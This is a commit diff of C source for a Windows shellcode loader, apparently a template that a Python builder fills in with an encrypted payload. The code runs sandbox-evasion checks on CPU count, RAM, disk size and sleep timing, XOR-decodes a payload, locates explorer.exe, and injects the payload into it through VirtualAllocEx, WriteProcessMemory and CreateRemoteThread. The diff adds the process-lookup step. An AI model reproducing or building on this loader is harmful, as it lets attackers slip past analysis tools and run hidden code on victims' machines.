2
2
#include <windows.h>
3
3
#include <stdio.h>
4
4
#include <time.h>
5
+ #include <tlhelp32.h>
5
6
6
7
unsigned long get_time ()
7
8
{
@@ -11,6 +12,44 @@ void compute_ftp()
11
12
{
12
13
return ;
13
14
}
15
+
16
+ int findMyProc (const char * procname )
17
+ {
18
+
19
+ HANDLE hSnapshot ;
20
+ PROCESSENTRY32 pe ;
21
+ int pid = 0 ;
22
+ BOOL hResult ;
23
+
24
+ // snapshot of all processes in the system
25
+ hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS , 0 );
26
+ if (INVALID_HANDLE_VALUE == hSnapshot )
27
+ return 0 ;
28
+
29
+ // initializing size: needed for using Process32First
30
+ pe .dwSize = sizeof (PROCESSENTRY32 );
31
+
32
+ // info about first process encountered in a system snapshot
33
+ hResult = Process32First (hSnapshot , & pe );
34
+
35
+ // retrieve information about the processes
36
+ // and exit if unsuccessful
37
+ while (hResult )
38
+ {
39
+ // if we find the process: return process ID
40
+ if (strcmp (procname , pe .szExeFile ) == 0 )
41
+ {
42
+ pid = pe .th32ProcessID ;
43
+ break ;
44
+ }
45
+ hResult = Process32Next (hSnapshot , & pe );
46
+ }
47
+
48
+ // closes an open handle (CreateToolhelp32Snapshot)
49
+ CloseHandle (hSnapshot );
50
+ return pid ;
51
+ }
52
+
14
53
int main (void )
15
54
{
16
55
const char sig_evade [] = "// PYTHON_REPLACE_ME_HERE_1" ;
@@ -19,19 +58,20 @@ int main(void)
19
58
GetSystemInfo (& systemInfo );
20
59
DWORD numberOfProcessors = systemInfo .dwNumberOfProcessors ;
21
60
printf ("Processors: %d\n" , numberOfProcessors );
22
- if (numberOfProcessors < 2 ) {
61
+ if (numberOfProcessors < 2 )
62
+ {
23
63
compute_ftp ();
24
64
return 0 ;
25
65
}
26
-
27
66
28
67
// check RAM
29
68
MEMORYSTATUSEX memoryStatus ;
30
69
memoryStatus .dwLength = sizeof (memoryStatus );
31
70
GlobalMemoryStatusEx (& memoryStatus );
32
71
DWORD RAMMB = memoryStatus .ullTotalPhys / 1024 / 1024 ;
33
72
printf ("Memory: %d\n" , RAMMB );
34
- if (RAMMB < 2048 ) {
73
+ if (RAMMB < 2048 )
74
+ {
35
75
compute_ftp ();
36
76
return 0 ;
37
77
}
@@ -44,15 +84,16 @@ int main(void)
44
84
DWORD diskSizeGB ;
45
85
diskSizeGB = pDiskGeometry .Cylinders .QuadPart * (ULONG )pDiskGeometry .TracksPerCylinder * (ULONG )pDiskGeometry .SectorsPerTrack * (ULONG )pDiskGeometry .BytesPerSector / 1024 / 1024 / 1024 ;
46
86
printf ("Disk space: %d\n" , diskSizeGB );
47
- if (diskSizeGB < 70 ) {
87
+ if (diskSizeGB < 70 )
88
+ {
48
89
compute_ftp ();
49
90
return 0 ;
50
91
}
51
92
52
93
unsigned long start = get_time ();
53
94
Sleep (2000 );
54
95
unsigned long end = get_time ();
55
- printf ("Diff: %d\n" , end - start );
96
+ printf ("Diff: %d\n" , end - start );
56
97
if ((end - start ) != 2 )
57
98
{
58
99
compute_ftp ();
@@ -64,19 +105,19 @@ int main(void)
64
105
// PYTHON_REPLACE_ME_HERE_2
65
106
const char key [] = // PYTHON_REPLACE_ME_HERE_3
66
107
67
- for (int i = 0 ; i < sizeof (buf ); i ++ )
108
+ for (int i = 0 ; i < sizeof (buf ); i ++ )
68
109
{
69
110
buf [i ] = buf [i ] ^ key [i % (sizeof (key ) - 1 )];
70
111
}
71
- int migrateToPID = // PYTHON_REPLACE_ME_HERE_4
112
+ int migrateToPID = findMyProc ( "explorer.exe" );
72
113
HANDLE hProcess = OpenProcess (0x001F0FFF , 0 , migrateToPID );
73
114
int i = 0 ;
74
115
HANDLE addr = VirtualAllocEx (hProcess , & i , 0x1000 , 0x3000 , 0x40 );
75
116
76
117
size_t outSize ;
77
118
size_t j = 0 ;
78
119
WriteProcessMemory (hProcess , addr , buf , sizeof buf , & outSize );
79
- int * threadId = CreateRemoteThread (hProcess , 0 , 0 , addr , & i , 0 , 0 );
120
+ int * threadId = CreateRemoteThread (hProcess , 0 , 0 , addr , & i , 0 , 0 );
80
121
}
81
122
return 0 ;
82
123
}
0 commit comments